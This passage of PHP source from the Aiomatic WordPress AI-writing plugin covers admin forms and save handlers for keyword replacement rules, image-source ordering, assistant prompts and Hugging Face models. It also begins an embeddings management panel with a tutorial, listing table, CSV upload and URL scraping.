IDs:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="2" cols="70" class="cr_width_full" name="aiomatic_Main_Settings[kw_skip_ids]" placeholder="<?php echo esc_html__("ex: 23,24,25", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($kw_skip_ids); ?></textarea> </td> </tr> </table> <table class="widefat"> <tr class="aiomatic-title-holder"> <td> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Affiliate Keyword Replacer Rules:", 'aiomatic-automatic-ai-content-writer');?></h2> <hr/> <div class="table-responsive"> <div id="grid-keywords-aiomatic"> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Search Keyword", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This keyword will be replaced with a link you define.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Replacement Keyword", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This keyword will replace the search keyword you define. Leave this field blank if you only want to add an URL to the specified keyword.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Link to Add", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Define the link you want to appear the defined keyword. Leave this field blank if you only want to replace the specified keyword without linking from it.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"><?php echo esc_html__("Target Content", 'aiomatic-automatic-ai-content-writer');?><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to make this rule target post title, content or both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"><?php echo esc_html__("Maximum Replacement Count", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of instances which will be replaced in the matched content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></div> <?php echo aiomatic_expand_keyword_rules(); ?> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div class="cr_center">-</div> <div class="cr_center"><span class="cr_gray20">X</span></div> <div class="cr_center"><input type="text" name="aiomatic_keyword_list[keyword][]" placeholder="<?php echo esc_html__("Please insert the keyword to be replaced", 'aiomatic-automatic-ai-content-writer');?>" value=""/></div> <div class="cr_center"><input type="text" name="aiomatic_keyword_list[replace][]" placeholder="<?php echo esc_html__("Please insert the keyword to replace the search keyword", 'aiomatic-automatic-ai-content-writer');?>" value="" /></div> <div class="cr_center"><input type="url" validator="url" name="aiomatic_keyword_list[link][]" placeholder="<?php echo esc_html__("Please insert the link to be added to the keyword", 'aiomatic-automatic-ai-content-writer');?>" value="" /> </div> <div class="cr_center"><select id="aiomatic_keyword_target" name="aiomatic_keyword_list[target][]"> <option value="content" selected><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="title"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Content and Title", 'aiomatic-automatic-ai-content-writer');?></option></select></div> <div class="cr_center"><input type="number" min="1" step="1" name="aiomatic_keyword_list[max][]" placeholder="<?php echo esc_html__("Max #", 'aiomatic-automatic-ai-content-writer');?>" value="" /> </div> </div> </div> <hr/> <p class="crsubmit"><input type="submit" name="btnSubmitkw" id="btnSubmitkw" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Keyword Replacer Rules", 'aiomatic-automatic-ai-content-writer');?>"/></p> </td></tr></table> </div> <hr/> <table><tr class="aiomatic-float-option"> <th class="aiomatic-save-section dashboard"> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </th> </tr></table> <input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('openai-secret-nonce');?>"> </form> </div> </div> </div> <?php } if (isset($_POST['aiomatic_keyword_list'])) { add_action('admin_init', 'aiomatic_save_keyword_rules'); } function aiomatic_card_save_settings() { if (isset($_POST['btnSubmit']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { $change_done = false; $old_order = get_option('aiomatic_image_cards_order', array()); if (isset($_POST['aiomatic_Main_Settings']['pexels_api']) && $_POST['aiomatic_Main_Settings']['pexels_api'] != '') { if(!in_array('pexels', $old_order)) { $old_order[] = 'pexels'; $change_done = true; } } else { if(isset($_POST['aiomatic_Main_Settings'])) { if (($xkey = array_search('pexels', $old_order)) !== false) { unset($old_order[$xkey]); $change_done = true; } } } if (isset($_POST['aiomatic_Main_Settings']['flickr_api']) && $_POST['aiomatic_Main_Settings']['flickr_api'] != '') { if(!in_array('flickr', $old_order)) { $old_order[] = 'flickr'; $change_done = true; } } else { if(isset($_POST['aiomatic_Main_Settings'])) { if (($xkey = array_search('flickr', $old_order)) !== false) { unset($old_order[$xkey]); $change_done = true; } } } if (isset($_POST['aiomatic_Main_Settings']['pixabay_api']) && $_POST['aiomatic_Main_Settings']['pixabay_api'] != '') { if(!in_array('pixabay', $old_order)) { $old_order[] = 'pixabay'; $change_done = true; } } else { if(isset($_POST['aiomatic_Main_Settings'])) { if (($xkey = array_search('pixabay', $old_order)) !== false) { unset($old_order[$xkey]); $change_done = true; } } } if (isset($_POST['aiomatic_Main_Settings']['google_images']) && $_POST['aiomatic_Main_Settings']['google_images'] == 'on') { if(!in_array('google', $old_order)) { $old_order[] = 'google'; $change_done = true; } } else { if(isset($_POST['aiomatic_Main_Settings'])) { if (($xkey = array_search('google', $old_order)) !== false) { unset($old_order[$xkey]); $change_done = true; } } } if (isset($_POST['aiomatic_Main_Settings']['unsplash_api']) && $_POST['aiomatic_Main_Settings']['unsplash_api'] == 'on') { if(!in_array('unsplash', $old_order)) { $old_order[] = 'unsplash'; $change_done = true; } } else { if(isset($_POST['aiomatic_Main_Settings'])) { if (($xkey = array_search('unsplash', $old_order)) !== false) { unset($old_order[$xkey]); $change_done = true; } } } if (isset($_POST['aiomatic_Main_Settings']['pixabay_scrape']) && $_POST['aiomatic_Main_Settings']['pixabay_scrape'] == 'on') { if(!in_array('pixabayscrape', $old_order)) { $old_order[] = 'pixabayscrape'; $change_done = true; } } else { if(isset($_POST['aiomatic_Main_Settings'])) { if (($xkey = array_search('pixabayscrape', $old_order)) !== false) { unset($old_order[$xkey]); $change_done = true; } } } if($change_done == false) { if(isset($_POST['aiomatic_sortable_cards'])) { $new_order = isset($_POST['aiomatic_sortable_cards']) ? $_POST['aiomatic_sortable_cards'] : ''; $new_order = explode(',', $new_order); update_option('aiomatic_image_cards_order', $new_order); } } else { update_option('aiomatic_image_cards_order', $old_order); } } } add_action('admin_init', 'aiomatic_card_save_settings'); function aiomatic_save_keyword_rules($data2) { if (isset($_POST['aiomatic_keyword_list']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { $data2 = $_POST['aiomatic_keyword_list']; $rules = array(); if (isset($data2['keyword'][0])) { for ($i = 0; $i < sizeof($data2['keyword']); ++$i) { if (isset($data2['keyword'][$i]) && $data2['keyword'][$i] != '') { $index = trim(sanitize_text_field($data2['keyword'][$i])); $rules[$index] = array( trim(sanitize_text_field($data2['link'][$i])), trim(sanitize_text_field($data2['replace'][$i])), trim(sanitize_text_field($data2['target'][$i])), trim(sanitize_text_field($data2['max'][$i])) ); } } } update_option('aiomatic_keyword_list', $rules); } } if (isset($_POST['aiomatic_assistant_list'])) { add_action('admin_init', 'aiomatic_save_assistant_rules'); } function aiomatic_save_assistant_rules($data2) { if (isset($_POST['aiomatic_assistant_list']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { $data2 = $_POST['aiomatic_assistant_list']; $rules = array(); if (isset($data2['menu_name'][0])) { for ($i = 0; $i < sizeof($data2['menu_name']); ++$i) { if (isset($data2['menu_name'][$i]) && $data2['menu_name'][$i] != '' && isset($data2['prompt'][$i]) && $data2['prompt'][$i] != '') { $index = trim(sanitize_text_field($data2['menu_name'][$i])); $rules[$index] = array( trim($data2['prompt'][$i]), trim(sanitize_text_field($data2['type'][$i])), ); } } } update_option('aiomatic_assistant_list', $rules); } } if (isset($_POST['aiomatic_huggingface_models'])) { add_action('admin_init', 'aiomatic_save_huggingface_models'); } function aiomatic_save_huggingface_models($data2) { if (isset($_POST['aiomatic_huggingface_models']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { $data2 = $_POST['aiomatic_huggingface_models']; $rules = array(); if (isset($data2['model'][0])) { for ($i = 0; $i < sizeof($data2['model']); ++$i) { if (isset($data2['model'][$i]) && $data2['model'][$i] != '') { $model = str_replace(' ', '', sanitize_text_field($data2['model'][$i])); $endpoint_url = $data2['endpoint_url'][$i]; $rules[$model] = array($model, $endpoint_url); } } } update_option('aiomatic_huggingface_models', $rules); } } function aiomatic_expand_keyword_rules() { $rules = get_option('aiomatic_keyword_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { foreach ($rules as $request => $value) { $uniq = uniqid(); $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '">' . esc_html($cont) . '</div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><span data-id="' . esc_html($uniq) . '" class="wpaiomatic-delete">X</span></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="text" placeholder="' . esc_html__('Input the keyword to be replaced. This field is required', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_keyword_list[keyword][]" value="' . esc_html(stripslashes($request)) . '" required></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="text" placeholder="' . esc_html__('Input the replacement word', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_keyword_list[replace][]" value="' . esc_html(stripslashes($value[1])) . '" ></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="url" validator="url" placeholder="' . esc_html__('Input the URL to be added', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_keyword_list[link][]" value="' . esc_html(stripslashes($value[0])) . '"></div>'; if(isset($value[2])) { $target = $value[2]; } else { $target = 'content'; } $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '"><select id="aiomatic_keyword_target' . rand() . '" name="aiomatic_keyword_list[target][]"> <option value="content"'; if ($target == "content") { $output .= " selected"; } $output .= '>' . esc_html__('Content', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($target == "title") { $output .= " selected"; } $output .= '>' . esc_html__('Title', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($target == "both") { $output .= " selected"; } $output .= '>' . esc_html__('Content and Title', 'aiomatic-automatic-ai-content-writer') . '</option> </select></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="number" min="1" step="1" placeholder="' . esc_html__('Max #', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_keyword_list[max][]" value="' . esc_html($value[3]) . '" class="cr_width_100"></div>'; $cont++; } } return $output; } function aiomatic_expand_huggingface_models() { $rules = get_option('aiomatic_huggingface_models', array()); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { foreach ($rules as $request => $value) { $uniq = uniqid(); $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '">' . esc_html($cont) . '</div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><span data-id="' . esc_html($uniq) . '" class="wpaiomatic-delete">X</span></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="text" placeholder="' . esc_html__('Input the model name. This field is required', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_huggingface_models[model][]" value="' . esc_html(stripslashes($request)) . '" required></div>'; if(is_array($value) && isset($value[1])) { $endpoint_url = $value[1]; } else { $endpoint_url = ''; } $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="url" placeholder="' . esc_html__('Inference Endpoint URL (Optional)', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_huggingface_models[endpoint_url][]" value="' . esc_attr($endpoint_url) . '"></div>'; $cont++; } } return $output; } function aiomatic_expand_assistant_rules() { $rules = aiomatic_get_assistant(); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { foreach ($rules as $menu_name => $value) { $uniq = uniqid(); $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="text" placeholder="' . esc_html__('Add a menu name', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_assistant_list[menu_name][]" value="' . esc_attr(stripslashes($menu_name)) . '" required></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><textarea rows="1" type="text" placeholder="' . esc_html__('Add a prompt', 'aiomatic-automatic-ai-content-writer') . '" name="aiomatic_assistant_list[prompt][]">' . esc_textarea(stripslashes($value[0])) . '</textarea></div>'; $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '"><select id="aiomatic_keyword_target' . rand() . '" name="aiomatic_assistant_list[type][]"> <option value="text"'; if (esc_html($value[1]) == "text") { $output .= " selected"; } $output .= '>' . esc_html__('Text', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="image"'; if (esc_html($value[1]) == "image") { $output .= " selected"; } $output .= '>' . esc_html__('Image', 'aiomatic-automatic-ai-content-writer') . '</option> </select></div>'; $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '"><span data-id="' . esc_html($uniq) . '" class="wpaiomatic-delete">X</span></div>'; $cont++; } } return $output; } ?>��������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-embeddings.php�������������������������������������������������������������������������0000644�����������������00000135551�14757771437�0011773 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_embeddings_panel() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { ?> <h1><?php echo esc_html__("You must add a Pinecone API or a Qdrant API key in the plugin's 'Settings' menu (API Keys tab), before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { ?> <h1><?php echo esc_html__("You must add a Pinecone or a Qdrant index in the plugin's 'Settings' menu (Embeddings tab), before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Aiomatic Embeddings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="wrap gs_popuptype_holder"> <h1><?php echo esc_html__("Embeddings", 'aiomatic-automatic-ai-content-writer');?></h1> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Add A New Embedding", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("Upload Embeddings from CSV", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="nav-tab"><?php echo esc_html__("Scrape Data From URL", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("Auto Index Existing Posts", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("List Added Embeddings", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-x" datahref="<?php echo admin_url('admin.php?page=aiomatic_admin_settings#tab-13');?>" class="nav-tab"><?php echo esc_html__("Settings", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-0" class="tab-content"> <br/> <h3><?php echo esc_html__("What are embeddings in GPT-3?", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Embeddings are a way to send to the AI content writer a set o pre-trained data, to give it more context about the question or prompt which was submitted to it, for which a response is awaited. These embeddings can help the model better understand language and the requirements sent in the prompt.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("When creating embeds, it's important to keep in mind to always create a high quality data set, as this will help the AI writer to get a more correct context.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Lets say you would like to give your AI the ability to answer specific questions about your website content, company, product or anything else, but you don't want to go through the process of training your own AI model. In this case, the Embeddings feature is what you will need. Simply specify your statements in the Embeddings section of the plugin and they will be also sent to the AI content writer, when needed.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("If you are looking for more complex way to customize the AI content writer and to be able to \"teach\" the AI a large set of information (by creating your own fine-tuned model), I suggest you check the", 'aiomatic-automatic-ai-content-writer');?> <a href="<?php echo admin_url('admin.php?page=aiomatic_openai_training');?>"><?php echo esc_html__("AI Model Training", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("feature of the plugin.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("More about Embeddings", 'aiomatic-automatic-ai-content-writer');?></h3> <p><b><?php echo esc_html__("The main steps of creating embeddings are", 'aiomatic-automatic-ai-content-writer');?>:</b></p> <ol><li><b><?php echo esc_html__("Step 0: Read this tutorial carefully and watch the tutorial video", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("be sure to not skip this step! Also, be sure to be clear with", 'aiomatic-automatic-ai-content-writer');?> <a href="https://openai.com/api/pricing/" target="_blank"><?php echo esc_html__("OpenAI's pricing", 'aiomatic-automatic-ai-content-writer');?></a> <?php echo esc_html__("for usage of embeddings.", 'aiomatic-automatic-ai-content-writer');?></li> <li><b><?php echo esc_html__("Step 1: Create your data for embeddings", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("create as many high quality questions and answers as possible, add them on a single line, give detailed context. In this case (contrary to AI model training) you don't need to create very large amounts of data, it is enough to enter just the information which you would like the AI model to learn about.", 'aiomatic-automatic-ai-content-writer');?> </li> <li><b><?php echo esc_html__("Step 2: Auto Index Existing Posts", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("Using this feature you will be able to automatically create embeddings data from the posts you already have published on your site. You can set the plugin up to automatically index posts, pages, products or any custom post type. Embeddings will be automatically created using their data. You can change the template which is used for automatic embeddings creation, from the plugin's 'Settings' menu -> 'Embeddings' tab -> 'Auto Created Embeddings Template' settings field.", 'aiomatic-automatic-ai-content-writer');?></li> <li><b><?php echo esc_html__("Step 3: List Added Embeddings", 'aiomatic-automatic-ai-content-writer');?>:</b> <?php echo esc_html__("Check and verify added embeddings and manage them to be sure they are correct.", 'aiomatic-automatic-ai-content-writer');?></li> </ol> <h3><?php echo esc_html__("Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/hkk0d7W0kIs" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-1" class="tab-content"> <br/> <form action="" method="post" id="aiomatic_embeddings_form"> <input type="hidden" name="action" value="aiomatic_embeddings"> <div class="aiomatic-embeddings-success" style="padding: 10px;background: #fff;border-left: 2px solid #11ad6b;display: none"><?php echo esc_html__("Embedding saved successfully", 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic-mb-10"> <p><strong><?php echo esc_html__("Add a new embedding:", 'aiomatic-automatic-ai-content-writer');?></strong></p> <textarea name="content" class="aiomatic-embeddings-content coderevolution_gutenberg_input" id="aiomatic-embeddings-content" rows="15"></textarea> </div> <button class="button button-primary"><?php echo esc_html__("Save", 'aiomatic-automatic-ai-content-writer');?></button> </form> </div> <div id="tab-x" class="tab-content"> <br/> <p><?php echo esc_html__("Redirecting...", 'aiomatic-automatic-ai-content-writer');?></p> </div> <div id="tab-2" class="tab-content"> <br/> <button href="#" id="aiomatic_sync_embeddings" class="page-title-action aiomatic_sync_files"><?php echo esc_html__("Sync Embeddings", 'aiomatic-automatic-ai-content-writer');?></button> <button href="#" id="aiomatic_delete_selected_embeddings" class="page-title-action aiomatic_sync_files"><?php echo esc_html__("Delete Selected Embeddings", 'aiomatic-automatic-ai-content-writer');?></button> <button href="#" id="aiomatic_deleteall_embeddings" class="page-title-action aiomatic_sync_files"><?php echo esc_html__("Delete All Embeddings", 'aiomatic-automatic-ai-content-writer');?></button> <button href="#" id="aiomatic_save_embeddings" class="page-title-action aiomatic_sync_files"><?php echo esc_html__("Download to CSV", 'aiomatic-automatic-ai-content-writer');?></button> <?php $orderby = 'date'; $order = 'DESC'; if (isset($_GET['order']) && in_array(strtolower($_GET['order']), ['asc', 'desc'])) { $order = strtoupper($_GET['order']); } if (isset($_GET['orderby']) && in_array(strtolower($_GET['orderby']), ['title', 'date'])) { $orderby = strtolower($_GET['orderby']); } $aiomatic_embedding_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_embeddings = new WP_Query(array( 'post_type' => 'aiomatic_embeddings', 'posts_per_page' => 40, 'paged' => $aiomatic_embedding_page, 'order' => $order, 'orderby' => $orderby, 'post_status' => 'any' )); if($aiomatic_embeddings->have_posts()){ echo '<br><br>' . esc_html__('All embeddings', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_embeddings->found_posts . ')<br>'; } $current_order = filter_input(INPUT_GET, 'order', FILTER_DEFAULT) === 'asc' ? 'desc' : 'asc'; $title_url = add_query_arg([ 'orderby' => 'title', 'order' => $current_order ], $_SERVER['REQUEST_URI']); $date_url = add_query_arg([ 'orderby' => 'date', 'order' => $current_order ], $_SERVER['REQUEST_URI']); ?> <table class="wp-list-table widefat fixed striped table-view-list posts"> <thead> <tr> <th class="manage-column column-cb check-column aiomatic-tdcol" scope="col"><input class="aiomatic-chk" type="checkbox" id="checkedAll"></th> <th scope="col"><a href="<?php echo esc_html($title_url); ?>"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Namespace", 'aiomatic-automatic-ai-content-writer');?></th> <th scope="col"><?php echo esc_html__("Model", 'aiomatic-automatic-ai-content-writer');?></th> <th scope="col"><?php echo esc_html__("Tokens", 'aiomatic-automatic-ai-content-writer');?></th> <th scope="col"><?php echo esc_html__("Estimated", 'aiomatic-automatic-ai-content-writer');?></th> <th scope="col"><a href="<?php echo esc_html($date_url); ?>"><?php echo esc_html__("Date", 'aiomatic-automatic-ai-content-writer');?><span class="dashicons <?php if(!isset($_GET['order'])){echo 'cr_none';}else{echo $order === 'ASC' ? 'dashicons-arrow-down' : 'dashicons-arrow-up';} ?>"></span></a></th> <th scope="col"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> <?php $stats = new Aiomatic_Statistics(); if($aiomatic_embeddings->have_posts()){ foreach ($aiomatic_embeddings->posts as $aiomatic_embedding){ $token = get_post_meta($aiomatic_embedding->ID,'aiomatic_embedding_token',true); $model = get_post_meta($aiomatic_embedding->ID,'aiomatic_embedding_model',true); $aiomatic_namespace = get_post_meta($aiomatic_embedding->ID,'aiomatic_namespace',true); ?> <tr> <td><input class="aiomatic-select-embedding" id="aiomatic-select-<?php echo $aiomatic_embedding->ID;?>" type="checkbox" name="ids[]" value="<?php echo $aiomatic_embedding->ID;?>"></td> <td><a href="<?php echo get_edit_post_link($aiomatic_embedding->ID);?>" class="aiomatic-embedding-content"><?php echo esc_html($aiomatic_embedding->post_title);?></a></td> <td><?php if(empty($aiomatic_namespace)){echo '-';}else{echo esc_html($aiomatic_namespace);}?></td> <td><?php if(!empty($model)){echo esc_html($model);} else { echo '-';}?></td> <td><?php echo esc_html($token);?></td> <td><?php if(!empty($model)){$embprice = $stats->calculatePrice($model, $token) * 2;}else{$embprice = !empty($token) ? ((int)esc_html($token)*0.0004).'$': '--';}echo $embprice;?></td> <td><?php echo esc_html($aiomatic_embedding->post_date);?></td> <td> <button class="button button-small" id="aiomatic_manage_embedding_<?php echo $aiomatic_embedding->ID;?>" onclick="location.href='<?php echo get_edit_post_link($aiomatic_embedding->ID);?>';" href="<?php echo get_edit_post_link($aiomatic_embedding->ID);?>"><?php echo esc_html__("Manage", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_delete_embedding" id="aiomatic_delete_embedding_<?php echo $aiomatic_embedding->ID;?>" delete-id="<?php echo $aiomatic_embedding->ID;?>"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> <?php } } ?> </tbody> </table> <div class="aiomatic-paginate"> <?php echo paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_embeddings_panel&wpage=%#%'), 'total' => $aiomatic_embeddings->max_num_pages, 'current' => $aiomatic_embedding_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => false, 'add_args' => false, )); ?> </div> </div> <div id="tab-3" class="tab-content"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <h3 class="margin5"><?php echo esc_html__("Upload New File", 'aiomatic-automatic-ai-content-writer');?></h3> <div class="aiomatic_form_upload_file"> <table class="aiomatic_list_data form-table"> <tbody> <tr> <th class="aiomatic_th" scope="row"><?php echo esc_html__("Dataset (*.csv)", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="file" id="aiomatic_csv_upload" accept=".csv"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully.", 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer');?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_upload_embeddings"><?php echo esc_html__("Upload", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size", 'aiomatic-automatic-ai-content-writer');?>: <?php echo size_format($aiomaticMaxFileSize)?> <?php if(wp_max_upload_size() < 104857600){ ?> <?php echo esc_html__("(Please increase this value if you want to upload larger datasets)", 'aiomatic-automatic-ai-content-writer');?> <?php } ?></p> <p class="cr_center"><?php echo esc_html__("The csv file should contain the embeddings data on the first column, each new data on a different row", 'aiomatic-automatic-ai-content-writer');?></p> </td> </tr> </tbody> </table> </div> </div> <div id="tab-5" class="tab-content"> <br/> <h3 class="margin5"><?php echo esc_html__("Scrape URL Data", 'aiomatic-automatic-ai-content-writer');?></h3> <div class="aiomatic_form_scrape_url"> <table class="aiomatic_list_data form-table"> <tbody> <tr> <th class="aiomatic_th" scope="row"><?php echo esc_html__("URL", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="url" id="aiomatic_url_embedding" placeholder="<?php echo esc_html__("Enter the URL to be scraped", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_scrape_success aiomatic_none margin5 colorgr"><?php echo esc_html__("URL scraping successful.", 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic_url_progress aiomatic_none"><span></span><small><?php echo esc_html__("Scraping the URL...", 'aiomatic-automatic-ai-content-writer');?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td 